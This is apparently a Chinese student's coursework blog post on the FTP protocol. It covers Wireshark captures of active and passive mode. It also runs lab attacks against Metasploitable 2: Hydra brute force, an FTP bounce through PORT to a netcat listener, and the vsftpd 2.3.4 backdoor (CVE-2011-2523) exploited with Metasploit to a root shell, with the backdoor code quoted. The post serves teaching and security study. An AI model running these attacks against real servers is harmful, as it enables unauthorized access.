Study

关于FTP协议与FTP安全的浅谈

by Mion, 2021-09-10


这里是计算机网络课程的第一个作业,仅此记录一下并提出一些自己的思考。

FTP协议初步分析

测试环境

  • FTP Server

    10.60.8.254 : 21/20

    vsFTPD 3.0.3

    username : mion

    password : password

  • FTP Client

    10.27.157.176

    FTP 0.17-34.1.1

  • 分析工具

    Wireshark 3.4.4

    Fillter : ip.addr == 10.60.8.254 and ftp and ftp-data

    注:由于仅探究FTP的行为,在此忽略TCP相关报文。

在FTP主动模式下传输文件

用户行为

  1. FTP客户端使用账户并在主动模式下连接FTP服务器
  2. FTP客户端上传文件"file"
  3. FTP客户端断开连接

数据包分析

以下数据包为从Wireshark导出后经过整理产生的表格。

目标 报文 说明
10.60.8.254:21 10.27.157.176:59220 Response: 220 (vsFTPd 3.0.3) 经过TCP三次握手后,FTP服务器响应220代表准备连接
10.27.157.176:59220 10.60.8.254:21 Request: USER mion 发起 USER 指令
10.60.8.254:21 10.27.157.176:59220 Response: 331 Please specify the password. 响应331 准备校验密码
10.27.157.176:59220 10.60.8.254:21 Request: PASS password 发起PASS指令
10.60.8.254:21 10.27.157.176:59220 Response: 230 Login successful. 响应230 登录成功
10.27.157.176:59220 10.60.8.254:21 Request: SYST 发起 SYST 指令,获取FTP服务器系统类型
10.60.8.254:21 10.27.157.176:59220 Response: 215 UNIX Type: L8 响应 系统类型为UNIX
10.27.157.176:59220 10.60.8.254:21 Request: TYPE I 切换传输模式为 Binary模式
10.60.8.254:21 10.27.157.176:59220 Response: 200 Switching to Binary mode. 响应 200 成功
10.27.157.176:59220 10.60.8.254:21 Request: PORT 10,27,157,176,151,199 发起PORT指令,建立主动模式文件传输连接,客户端监听38855端口
10.60.8.254:21 10.27.157.176:59220 Response: 200 PORT command successful. Consider using PASV. 响应 200 并推荐采用被动模式
10.27.157.176:59220 10.60.8.254:21 Request: STOR file 发起 STOR 命令 要求存储文件为 file
10.60.8.254:21 10.27.157.176:59220 Response: 150 Ok to send data. 响应150 准备接收文件
10.27.157.176:38855 10.60.8.254:20 FTP Data: 5 bytes (PORT) (STOR file) 文件传输包,通过主动模式传输
10.60.8.254:21 10.27.157.176:59220 Response: 226 Transfer complete. 响应226 文件传输完成
10.27.157.176:59220 10.60.8.254:21 Request: QUIT 发起 QUIT 指令
10.60.8.254:21 10.27.157.176:59220 Response: 221 Goodbye. 响应 221 结束连接

总结分析

从以上信息我们可以得出FTP 主动模式工作方式如下:

  1. FTP Client 发起 PORT 命令,携带参数为监听端口。其中参数前四位为IP地址,后两位为端口号,计算方法:
    $$
    端口号=(第一位\times256)+第二位
    $$
    其中,开启的端口号为某一随机端口,而非网络上流传的N+1端口。根据RFC 959,此观点也得到了证实:

    3.2. ESTABLISHING DATA CONNECTIONS
    The mechanics of transferring data consists of setting up the data connection to the appropriate ports and choosing the parameters for transfer. Both the user and the server-DTPs have a default data port. The user-process default data port is the same as the control connection port (i.e., U). The server-process default data port is the port adjacent to the control connection port (i.e., L-1).
    ...
    Every FTP implementation must support the use of the default data ports, and only the USER-PI can initiate a change to non-default ports.
    It is possible for the user to specify an alternate data port by use of the PORT command.

  2. FTP Server 20端口建立与 FTP Client监听端口的连接,此过程在TCP握手报文中有体现,以上并未给出。

  3. 通过新建立的连接进行文件传输,且文件为明文,通过Wireshark分析如下:


image-20210910092634406.png


image-20210910092746859.png

主动模式与被动模式差异

用户行为

  1. FTP客户端使用账户并在被动模式下连接FTP服务器
  2. FTP客户端上传文件"file"
  3. FTP客户端断开连接

数据包分析

此部分仅对比主动模式与被动模式差异,数据包为从Wireshark导出后经过整理产生的表格。

目标 报文 说明
10.27.157.176:60976 10.60.8.254:21 Request: PASV 发起 PASV 命令,要求建立被动模式连接
10.60.8.254:21 10.27.157.176:60976 Response: 227 Entering Passive Mode (10,60,8,254,76,13). 响应227 成功进入被动模式,并且返回监听的非特权端口
10.27.157.176:60976 10.60.8.254:21 Request: STOR file 发起 STOR 命令 要求存储文件为 file
10.60.8.254:21 10.27.157.176:60976 Response: 150 Ok to send data. 响应150 准备接收文件
10.27.157.176:35758 10.60.8.254:19469 FTP Data: 5 bytes (PASV) (STOR file) 文件传输包,通过被动模式传输
10.60.8.254:21 10.27.157.176:60976 Response: 226 Transfer complete. 响应226 文件传输完成

总结分析

  1. FTP Client 发起 PASV 命令。
  2. FTP Server 开始监听某一非特权端口,返回监听地址与端口。
  3. 开始明文传输文件。

EPRT与EPSV模式

根据RFC 2428,FTP对IPv6进行支持并提出EPRT与EPSV模式,这里仅做部分引用介绍。

  1. The EPRT Command
    The EPRT command allows for the specification of an extended address for the data connection. The extended address MUST consist of the network protocol as well as the network and transport addresses. The format of EPRT is:
    EPRT
  1. The EPSV Command
    The EPSV command requests that a server listen on a data port and wait for a connection. The EPSV command takes an optional argument. The response to this command includes only the TCP port number of the listening connection. The format of the response, however, is similar to the argument of the EPRT command. This allows the same parsing routines to be used for both commands. In addition, the format leaves a place holder for the network protocol and/or network address, which may be needed in the EPSV response in the future. The response code for entering passive mode using an extended address MUST be 229. The interpretation of this code, according to [PR85] is:
    2yz Positive Completion
    x2z Connections
    xy9 Extended Passive Mode Entered
    The text returned in response to the EPSV command MUST be:() The portion of the string enclosed in parentheses MUST be the exact string needed by the EPRT command to open the data connection, as specified above.

匿名账户登录

通过配置FTP Server开启匿名登录,得到以下数据包:

目标 报文
10.60.8.254:21 10.27.157.176:36430 Response: 220 (vsFTPd 3.0.3)
10.27.157.176:36430 10.60.8.254:21 Request: USER ftp
10.60.8.254:21 10.27.157.176:36430 Response: 331 Please specify the password.
10.27.157.176:36430 10.60.8.254:21 Request: PASS
10.60.8.254:21 10.27.157.176:36430 Response: 230 Login successful.
10.27.157.176:36430 10.60.8.254:21 Request: SYST
10.60.8.254:21 10.27.157.176:36430 Response: 215 UNIX Type: L8
10.27.157.176:36430 10.60.8.254:21 Request: QUIT
10.60.8.254:21 10.27.157.176:36430 Response: 221 Goodbye.

即通过匿名账户就可以登录FTP Server并进行操作。

FTP攻击测试与分析

对FTP账户进行枚举暴力登录

FTP由于鉴权方式过于简单且本身没有对枚举进行限制,对与较为简单的账户密码非常容易通过暴力破解进行登录,以下将对本攻击方式进行演示。

测试环境

  • 靶机信息

    Metasploitable 2

    192.168.255.128

  • 测试工具

    Hydra v9.1

测试结果

$ hydra -L ftpaccount -P ftpaccount ftp://192.168.255.128
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-10 13:40:50
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.255.128:21/
[21][ftp] host: 192.168.255.128   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-10 13:40:51

为了便于演示,这里使用较为简单的字典进行爆破。可以看见,在字典和时间足够充裕的情况下,若管理员没有设置足够复杂的口令,特别是当FTP服务器意外开启匿名身份验证后极易被爆破出账号密码。

对FTP进行端口窃取

根据RFC 2577,FTP通过主动模式或被动模式开启的非特权端口由于没有合理的校验机制,会被恶意碰撞导致端口窃取等问题。原文如下:

Port Stealing

Many operating systems assign dynamic port numbers in increasing
order. By making a legitimate transfer, an attacker can observe the
current port number allocated by the server and "guess" the next one
that will be used. The attacker can make a connection to this port,
thus denying another legitimate client the ability to make a
transfer. Alternatively, the attacker can steal a file meant for a
legitimate user. In addition, an attacker can insert a forged file
into a data stream thought to come from an authenticated client.
This problem can be mitigated by making FTP clients and servers use
random local port numbers for data connections, either by requesting
random ports from the operating system or using system dependent
mechanisms.

由于技术水平受限,在此仅做技术讨论。

对FTP连接进行中间人(MITM)监听

FTP连接完全为明文传输,通过Ettercap等工具进行ARP欺骗可以非常简单地对FTP连接进行中间人攻击,实现包括但不限于:获取账户与密码信息、获取传输文件、SSRF攻击等。

在之前的FTP分析中已经展示过这一点,此处不再赘述。

FTP反射攻击(FTP bounce attack)

测试环境

  • 靶机信息

    • FTP Server

      Metasploitable 2

      192.168.255.128

    • FTP Client

      192.168.255.129

    • 反射服务器

      192.168.255.1

      使用Netcat监听12345端口

  • 测试工具

    Telenet

    Netcat

测试过程

首先在反射服务器上使用Netcat监听12345端口:

$ nc -l 12345

在FTP Client上使用Telnet与FTP服务器交互

$ telnet 192.168.255.128 21
Trying 192.168.255.128...
Connected to 192.168.255.128.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER msfadmin
331 Please specify the password.
PASS msfadmin
230 Login successful.
PORT 192,168,255,1,48,57 //执行反射,建立一条与反射服务器的连接
200 PORT command successful. Consider using PASV.
LIST //执行LIST指令
150 Here comes the directory listing.
226 Directory send OK.
QUIT
221 Goodbye.
Connection closed by foreign host.

最后在反射服务器上接收到如下信息:

$ nc -l 12345        
drwxr-xr-x    6 1000     1000         4096 Apr 28  2010 vulnerable

为上述通过LIST指令发送的内容。

结果分析

造成此问题是因为FTP主动模式下传输的地址存在被恶意修改为任意地址的风险,攻击人员可以通过预先准备好的反射命令向任意目标发起反射请求,例如通过PUTGET指令等。当然,目前大部分FTP Server程序已经就此问题进行了解决,如限制PORT指令连接的服务器必须是发起指令的服务器等(靶机中的FTP Server经过修改去除了这一限制)。

对FTP连接进行SSRF攻击

此类攻击的原理与上文的FTP Bounuce Attack有些类似,是FTP在被动模式下返回的Response: 227 Entering Passive Mode (10,60,8,254,76,13)字段可被攻击者通过MITM攻击等方式截获修改导致客户端错误地连接上第三方服务器的问题。由于技术水平有限且此类攻击实现较为复杂,此处暂不做实现。

CVE-2011-2523 笑脸漏洞

测试环境

  • 靶机信息

    Metasploitable 2

    192.168.255.128

  • 测试工具

    Metasploit

测试结果

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.255.128
rhost => 192.168.255.128
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.255.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.255.128:21 - USER: 331 Please specify the password.
[+] 192.168.255.128:21 - Backdoor service has been spawned, handling...
[+] 192.168.255.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.255.1:43683 -> 192.168.255.128:6200) at 2021-09-10 14:47:11 +0800
whoami
root

此漏洞发生在vsftpd 2.3.4版本中,在代码中存在一个重大的问题,在文件srt.c中出现一段与程序无关的代码。

else if((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i+1]==0x29)){
    vsf_sysutil_extra();
}

可以判断为后门程序,只需要在传入用户名的结尾处加入:)字符就可以获取root权限。

总结

FTP作为互联网形成初期就存在的协议,放到50年后的今天来看存在着不少问题。这里既包括但不限于:

  • 明文传输与落后的身份鉴别造成的信息泄露、枚举破解的问题。
  • 没有合理的校验造成的被恶意修改、劫持等问题。
  • 需要额外创建新连接造成的被恶意重定向、反射的问题。
  • FTP Client与FTP Server在实际实现上存在的问题(如CVE-2011-2523)。
  • ...

以上,仅仅对部分FTP存在的问题进行浅显的讨论,我们需要吸收FTP既有的智慧,也要弥补其存在的缺陷,更要能够推陈出新,择其善者而从之,其不善者而改之。

参考资料

作者: Mion

2024 © Mion'Blog & Theme By xingr